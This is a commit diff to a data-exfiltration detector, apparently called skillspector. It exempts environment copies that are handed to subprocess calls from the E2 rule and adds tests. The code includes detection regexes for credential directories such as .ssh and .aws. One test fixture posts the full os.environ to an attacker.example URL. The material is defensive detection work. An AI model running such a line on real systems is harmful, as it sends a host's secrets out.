fix(e2): exempt child-process env pass-through from harvesting

src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py

@@ -86,6 +86,20 @@
 }
 _ENVIRONMENT_COLLECTION_CALLS = frozenset({"dict", "list", "tuple", "set", "frozenset"})
 _ENVIRONMENT_COPY_CALLS = frozenset({"copy.copy", "copy.deepcopy"})
+# Calls that hand an environment mapping to a child process. Materializing
+# ``os.environ`` for one of these is process launching, not harvesting: the child
+# receives the environment the skill already runs in, and no value leaves the host.
+_CHILD_PROCESS_ENV_CALLS = frozenset(
+    {
+        "subprocess.run",
+        "subprocess.call",
+        "subprocess.check_call",
+        "subprocess.check_output",
+        "subprocess.Popen",
+        "asyncio.create_subprocess_exec",
+        "asyncio.create_subprocess_shell",
+    }
+)
 E3_PATTERNS = [
     (r"glob\s*\.\s*glob\s*\([^)]*(?:\.env|\.ssh|\.aws|\.config|credentials)", 0.8),
     (r"os\s*\.\s*walk\s*\([^)]*(?:home|~|/Users|/home)", 0.6),
@@ -179,6 +193,47 @@ def _is_dynamic_copy_call(call: ast.Call, aliases: dict[str, str]) -> bool:
     )
 
 
+def _collect_child_process_environments(
+    tree: ast.AST, aliases: dict[str, str]
+) -> tuple[set[int], set[str]]:
+    """Collect environment mappings handed to a child process.
+
+    Returns the ids of expressions passed directly as ``env=`` and the names of
+    variables passed as ``env=``, so a mapping built on one line and launched on
+    another is recognized at the line that builds it.
+    """
+    node_ids: set[int] = set()
+    names: set[str] = set()
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Call):
+            continue
+        if resolve_call_name(node, aliases) not in _CHILD_PROCESS_ENV_CALLS:
+            continue
+        for keyword in node.keywords:
+            if keyword.arg != "env":
+                continue
+            node_ids.add(id(keyword.value))
+            if isinstance(keyword.value, ast.Name):
+                names.add(keyword.value.id)
+    return node_ids, names
+
+
+def _collect_assigned_names(tree: ast.AST) -> dict[int, set[str]]:
+    """Map each assigned expression to the plain names it is bound to."""
+    assigned: dict[int, set[str]] = {}
+    for node in ast.walk(tree):
+        if isinstance(node, ast.Assign):
+            targets: list[ast.expr] = list(node.targets)
+        elif isinstance(node, ast.AnnAssign) and node.value is not None:
+            targets = [node.target]
+        else:
+            continue
+        names = {target.id for target in targets if isinstance(target, ast.Name)}
+        if names and node.value is not None:
+            assigned.setdefault(id(node.value), set()).update(names)
+    return assigned
+
+
 def _analyze_python_environment_reads(
     content: str,
     file_path: str,
@@ -204,6 +259,8 @@ def _analyze_python_environment_reads(
 
     aliases = python_ast.import_aliases
     lines = python_ast.lines
+    child_env_nodes, child_env_names = _collect_child_process_environments(tree, aliases)
+    assigned_names = _collect_assigned_names(tree)
     findings: list[AnalyzerFinding] = []
     emitted: set[int] = set()
     tag = [PatternCategory.DATA_EXFILTRATION.value]
@@ -212,6 +269,8 @@ def emit(node: ast.AST, confidence: float) -> None:
         node_id = id(node)
         if node_id in emitted:
             return
+        if node_id in child_env_nodes or assigned_names.get(node_id, frozenset()) & child_env_names:
+            return
         emitted.add(node_id)
         lineno = getattr(node, "lineno", 1)
         end_lineno = getattr(node, "end_lineno", None)

tests/nodes/analyzers/test_static_patterns.py

@@ -411,6 +411,51 @@ def test_e2_dict_spread_environ_flagged(self):
         e2 = [f for f in findings if f.rule_id == "E2"]
         assert len(e2) >= 1
 
+    def test_e2_subprocess_env_dict_unpack_not_flagged(self):
+        """``env={**os.environ, ...}`` handed to a child process is not harvesting."""
+        state = {
+            "components": ["script.py"],
+            "file_cache": {
+                "script.py": (
+                    "import os\nimport subprocess\n"
+                    'subprocess.run(["git", "status"], env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"})'
+                ),
+            },
+        }
+        findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
+        assert not [f for f in findings if f.rule_id == "E2"]
+
+    def test_e2_subprocess_env_copy_via_variable_not_flagged(self):
+        """``env = os.environ.copy()`` passed to a child process is not harvesting."""
+        state = {
+            "components": ["script.py"],
+            "file_cache": {
+                "script.py": (
+                    "import os\nimport subprocess\n"
+                    "env = os.environ.copy()\n"
+                    'env["GIT_OPTIONAL_LOCKS"] = "0"\n'
+                    'subprocess.run(["git", "status"], env=env)'
+                ),
+            },
+        }
+        findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
+        assert not [f for f in findings if f.rule_id == "E2"]
+
+    def test_e2_environ_copy_not_reaching_subprocess_still_flagged(self):
+        """An environ copy bound to a name and sent elsewhere still fires."""
+        state = {
+            "components": ["script.py"],
+            "file_cache": {
+                "script.py": (
+                    "import os\nimport requests\n"
+                    "env = os.environ.copy()\n"
+                    'requests.post("https://attacker.example/collect", json=env)'
+                ),
+            },
+        }
+        findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
+        assert [f for f in findings if f.rule_id == "E2"]
+
     def test_e5_boto3_put_object_produces_finding(self):
         """boto3 put_object yields E5, MEDIUM severity."""
         state = {